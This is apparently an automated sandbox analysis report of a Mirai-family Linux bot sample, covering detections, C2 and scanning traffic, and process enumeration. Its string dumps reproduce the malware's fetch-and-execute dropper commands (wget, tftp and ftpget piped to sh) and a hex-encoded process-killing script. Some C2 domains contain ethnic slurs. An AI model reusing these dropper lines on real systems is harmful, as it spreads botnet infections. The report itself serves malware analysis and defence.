Linux Analysis Report
splx86.elf

Overview

General Information

Sample name: splx86.elf
Analysis ID: 1543101
MD5: 8c83e98eb356b21bafe4984dd6bb89da
SHA1: 5ecfbc70711e02d0ce4147fbeb581965c02cb205
SHA256: e1c4fbe6dd99138fb9156b0d9c726cc572bdbab69181f8106d5c9ac2ee4198a3
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Machine Learning detection for sample
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: splx86.elf ReversingLabs: Detection: 52%
Machine Learning detection for sample
Source: splx86.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: splx86.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: splx86.elf String: .dThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:49950 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.23:32960 -> 185.150.24.67:38241
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 149.38.44.18
Source: unknown TCP traffic detected without corresponding DNS query: 162.128.206.63
Source: unknown TCP traffic detected without corresponding DNS query: 73.228.92.133
Source: unknown TCP traffic detected without corresponding DNS query: 125.133.57.81
Source: unknown TCP traffic detected without corresponding DNS query: 155.65.156.115
Source: unknown TCP traffic detected without corresponding DNS query: 103.155.154.102
Source: unknown TCP traffic detected without corresponding DNS query: 215.76.59.224
Source: unknown TCP traffic detected without corresponding DNS query: 165.227.30.59
Source: unknown TCP traffic detected without corresponding DNS query: 63.168.136.239
Source: unknown TCP traffic detected without corresponding DNS query: 76.228.251.131
Source: unknown TCP traffic detected without corresponding DNS query: 124.184.236.14
Source: unknown TCP traffic detected without corresponding DNS query: 202.7.124.216
Source: unknown TCP traffic detected without corresponding DNS query: 85.105.16.226
Source: unknown TCP traffic detected without corresponding DNS query: 84.39.72.128
Source: unknown TCP traffic detected without corresponding DNS query: 167.78.147.7
Source: unknown TCP traffic detected without corresponding DNS query: 4.21.207.47
Source: unknown TCP traffic detected without corresponding DNS query: 1.239.9.207
Source: unknown TCP traffic detected without corresponding DNS query: 123.75.32.92
Source: unknown TCP traffic detected without corresponding DNS query: 24.163.31.238
Source: unknown TCP traffic detected without corresponding DNS query: 11.113.11.219
Source: unknown TCP traffic detected without corresponding DNS query: 217.229.3.215
Source: unknown TCP traffic detected without corresponding DNS query: 133.97.245.87
Source: unknown TCP traffic detected without corresponding DNS query: 51.30.193.3
Source: unknown TCP traffic detected without corresponding DNS query: 147.243.34.193
Source: unknown TCP traffic detected without corresponding DNS query: 187.88.19.100
Source: unknown TCP traffic detected without corresponding DNS query: 179.181.82.211
Source: unknown TCP traffic detected without corresponding DNS query: 45.43.195.202
Source: unknown TCP traffic detected without corresponding DNS query: 201.145.194.175
Source: unknown TCP traffic detected without corresponding DNS query: 114.56.205.251
Source: unknown TCP traffic detected without corresponding DNS query: 208.83.238.126
Source: unknown TCP traffic detected without corresponding DNS query: 184.202.197.153
Source: unknown TCP traffic detected without corresponding DNS query: 82.9.21.88
Source: unknown TCP traffic detected without corresponding DNS query: 114.4.83.50
Source: unknown TCP traffic detected without corresponding DNS query: 113.139.45.105
Source: unknown TCP traffic detected without corresponding DNS query: 46.48.243.90
Source: unknown TCP traffic detected without corresponding DNS query: 18.147.95.110
Source: unknown TCP traffic detected without corresponding DNS query: 124.55.77.60
Source: unknown TCP traffic detected without corresponding DNS query: 81.147.115.134
Source: unknown TCP traffic detected without corresponding DNS query: 113.192.117.44
Source: unknown TCP traffic detected without corresponding DNS query: 93.196.235.67
Source: unknown TCP traffic detected without corresponding DNS query: 22.43.7.130
Source: unknown TCP traffic detected without corresponding DNS query: 11.179.14.165
Source: unknown TCP traffic detected without corresponding DNS query: 46.41.203.78
Source: unknown TCP traffic detected without corresponding DNS query: 166.120.85.83
Source: unknown TCP traffic detected without corresponding DNS query: 125.6.249.79
Source: unknown TCP traffic detected without corresponding DNS query: 196.55.244.114
Source: unknown TCP traffic detected without corresponding DNS query: 17.195.18.226
Source: unknown TCP traffic detected without corresponding DNS query: 79.182.82.84
Source: unknown TCP traffic detected without corresponding DNS query: 77.176.238.114
Source: unknown TCP traffic detected without corresponding DNS query: 188.108.34.190
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: splx86.elf String found in binary or memory: http:///curl.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: splx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6267.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6269.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: classification engine Classification label: mal68.troj.linELF@0/0@14/0
Enumerates processes within the "proc" file system
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2033/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1582/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2275/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1612/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1579/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1699/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1335/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1698/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2028/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1334/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1576/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2302/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/3236/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2025/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2146/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/912/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/759/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2307/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/918/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1594/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2285/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2281/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1349/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1623/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/761/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1622/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/884/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1983/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2038/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1586/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1465/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1344/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1860/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1463/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2156/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/800/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/801/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1629/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1627/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1900/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/491/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2294/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2050/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/6250/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1877/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/772/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1633/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1599/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1632/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1477/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/774/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1476/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1872/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2048/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1475/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2289/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/777/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/6249/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/658/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/936/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1639/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1638/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2208/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2180/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1809/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1494/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1890/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2063/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2062/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1888/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1886/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1489/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/785/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1642/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/788/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/789/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1648/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2078/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2077/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2074/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2195/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/793/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1656/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1654/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2226/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1532/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/796/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/797/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2069/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2102/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2223/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/799/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2080/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2242/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2084/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2083/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1668/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1664/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1389/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/720/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2114/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2235/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/721/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/1661/status Jump to behavior
Source: /tmp/splx86.elf (PID: 6269) File opened: /proc/2079/status Jump to behavior

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
137.200.4.251
 unknown United States
11985 ASN-SSAUS false
140.12.29.245
 unknown United States
23700 FASTNET-AS-IDLinknet-FastnetASNID false
220.195.38.16
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
9.249.216.54
 unknown United States
3356 LEVEL3US false
30.161.131.219
 unknown United States
7922 COMCAST-7922US false
85.23.118.177
 unknown Finland
16086 DNAFI false
116.44.234.253
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
184.176.206.135
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
159.99.126.207
 unknown United States
3371 MCI-ASNUS false
220.246.86.132
 unknown Hong Kong
4760 HKTIMS-APHKTLimitedHK false
165.63.101.88
 unknown Zambia
37154 ZAMTELZM false
219.55.97.56
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
115.106.10.159
 unknown China
17488 HATHWAY-NET-APHathwayIPOverCableInternetIN false
22.16.243.157
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
78.53.101.253
 unknown Germany
6805 TDDE-ASN1DE false
110.153.226.66
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
29.251.244.45
 unknown United States
7922 COMCAST-7922US false
134.248.144.205
 unknown United States
3479 PEACHNET-AS1US false
13.153.149.120
 unknown United States
7018 ATT-INTERNET4US false
207.233.196.218
 unknown United States
8010 DIGICON-CORPUS false
2.228.249.162
 unknown Italy
12874 FASTWEBIT false
3.32.194.101
 unknown United States
8987 AMAZONEXPANSIONGB false
37.70.127.82
 unknown France
15557 LDCOMNETFR false
120.32.85.81
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
79.12.97.36
 unknown Italy
3269 ASN-IBSNAZIT false
19.244.187.29
 unknown United States
3 MIT-GATEWAYSUS false
19.147.98.11
 unknown United States
3 MIT-GATEWAYSUS false
106.136.249.84
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
75.122.172.73
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
6.204.220.44
 unknown United States
3356 LEVEL3US false
57.161.107.252
 unknown Belgium
2686 ATGS-MMD-ASUS false
204.34.85.143
 unknown United States
5180 DNIC-ASBLK-05120-05376US false
69.26.24.95
 unknown United States
27539 WRT-ASUS false
220.196.142.61
 unknown China
17621 CNCGROUP-SHChinaUnicomShanghainetworkCN false
57.253.168.52
 unknown Belgium
2686 ATGS-MMD-ASUS false
11.125.140.239
 unknown United States
27651 ENTELCHILESACL false
5.202.52.156
 unknown Iran (ISLAMIC Republic Of)
